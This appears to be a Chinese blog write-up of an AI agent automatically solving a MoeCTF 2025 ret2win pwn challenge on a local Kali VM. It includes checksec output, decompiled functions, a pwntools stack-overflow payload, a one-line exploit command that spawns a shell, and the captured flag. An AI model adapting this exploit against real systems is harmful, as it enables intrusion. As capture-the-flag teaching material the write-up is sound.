Moe2025 EZtext — WorkBuddy 纯自动解题记录

本文最后更新于 2026年7月3日 晚上

Moe2025 EZtext — WorkBuddy 纯自动解题记录

声明:本文所有分析、exploit 编写、命令执行均由 WorkBuddy AI 助手通过 Kali MCP 远程控制 Kali 虚拟机自动完成,人工仅输入 “做pwn题,题目也叫pwn,在kali的桌面” 一句话触发。


0x00 背景

在 Linux 上用 WorkBuddy 写了个博客准备躺,突然想起 Kali 桌面上还有个 MoeCTF 2025 的 pwn 题没做。输入一句话:”做pwn题,题目也叫pwn,在kali的桌面”,剩下的全交给 WorkBuddy 处理。

WorkBuddy 通过 Kali MCP (MCP-Kali-Server) 连接 Kali 虚拟机,直接在远程执行命令完成全套分析。


0x01 信息收集

WorkBuddy 自动扫描 Kali 桌面,锁定目标 pwn 文件和同目录的 flag 文件:

1
ls -la /home/kali/Desktop/
1
2
-rw-------  1 kali    kali        16320  7月  3 19:48 pwn
-rw-r--r-- 1 kali kali 31 7月 3 19:43 flag

自动调用 filechecksec

1
2
file /home/kali/Desktop/pwn
python3 -c "from pwn import *; e = ELF('/home/kali/Desktop/pwn'); print(e.checksec())"
项目 结果
架构 amd64-64-little
动态链接
去符号 ❌ 未 strip
Canary ❌ 无
NX ✅ 开启
PIE ❌ 关 (0x400000)
RELRO Partial

结论: No canary + No PIE + NX → 典型的 ret2win 或 ROP 题。


0x02 逆向分析

WorkBuddy 自动用 objdump 反编译关键函数:

main (0x401293):

1
2
3
4
5
6
puts("Stack overflow is a powerful art!")
puts("In this MoeCTF,I will show you the charm of PWN!")
puts("You need to understand the structure of the stack first.")
puts("Then how many bytes do you need to overflow the stack?")
scanf("%d", &var)
overflow(var)

overflow (0x4011df):

1
2
3
4
5
6
7
char buf[8]          // rbp-0x8
if (arg <= 7) {
puts("Come on, you can't even fill up this array?")
return
}
read(0, buf, arg) // 🚩 8字节缓冲区,arg可控 → 栈溢出
puts("OK,I receive your byte.and then?")

关键: read(0, buf, arg)arg 是我们传的整数,只要 > 7 就能溢出覆盖返回地址。


0x03 发现后门

继续反编译发现一个未在 main 中调用的函数:

treasure (0x4011b6):

1
2
3
4
5
6
7
lea rax, "Congratulations! You got the secret!"
mov rdi, rax
call puts@plt
lea rax, "/bin/sh" # 0x40202d
mov rdi, rax
call system@plt # 🚩 直接 system("/bin/sh")
ret

这就是后门函数——ret2win 题,直接返回到 treasure 即可拿 shell。


0x04 构造 Exploit

栈布局:

1
2
3
rbp-0x8:  buf[8]     ← 填充任意 8 字节
rbp+0x0: saved rbp ← 填充任意 8 字节
rbp+0x8: return addr ← 覆盖为 treasure(0x4011b6)

由于 glibc 的 system 要求 16 字节栈对齐,在 treasure 前加一个 ret gadget:

1
2
3
4
5
6
7
8
9
10
11
from pwn import *

context.arch = 'amd64'

treasure = 0x4011b6 # system("/bin/sh")
ret = 0x40101a # ret gadget 用于栈对齐

payload = b'A' * 8 # buffer
payload += b'B' * 8 # saved rbp
payload += p64(ret) # ret (对齐)
payload += p64(treasure) # → system("/bin/sh")

完整 exploit 单行命令:

1
2
3
4
5
6
{
printf '100\n'
python3 -c "import sys; sys.stdout.buffer.write(b'A'*8 + b'B'*8 + b'\x1a\x10\x40\x00\x00\x00\x00\x00' + b'\xb6\x11\x40\x00\x00\x00\x00\x00')"
sleep 0.1
echo 'cat /home/kali/Desktop/flag'
} | timeout 4 ./pwn

0x05 执行结果

1
2
3
4
5
6
7
8
Stack overflow is a powerful art!
In this MoeCTF,I will show you the charm of PWN!
You need to understand the structure of the stack first.
Then how many bytes do you need to overflow the stack?
OK,I receive your byte.and then?
Congratulations! You got the secret!
flag{qqqqqq111111qqqqqqqok!!!}
户id=0(root) 组id=0(root) 组=0(root)

Flag: flag{qqqqqq111111qqqqqqqok!!!}


0x06 总结

步骤 耗时 工具
搜索文件 & 信息收集 ~5s Kali MCP + file + checksec
逆向分析 ~10s objdump
Exploit 编写 & 调试 ~30s pwntools
获取 Flag ~1s system(“/bin/sh”)

整个过程从输入”做pwn题”到拿到 flag 大约 1 分钟。WorkBuddy 自动完成了文件定位、安全检测、反编译分析、后门发现、payload 构造、远程执行、flag 提取的完整流程。

纯 AI 自动解题已不再是理论,而是现实。 🚀


Moe2025 EZtext — WorkBuddy 纯自动解题记录
https://xyyr-c.github.io/2026/07/03/moe2025-EZtext-WorkBuddy-auto-pwn/
作者
xyyr
发布于
2026年7月3日
许可协议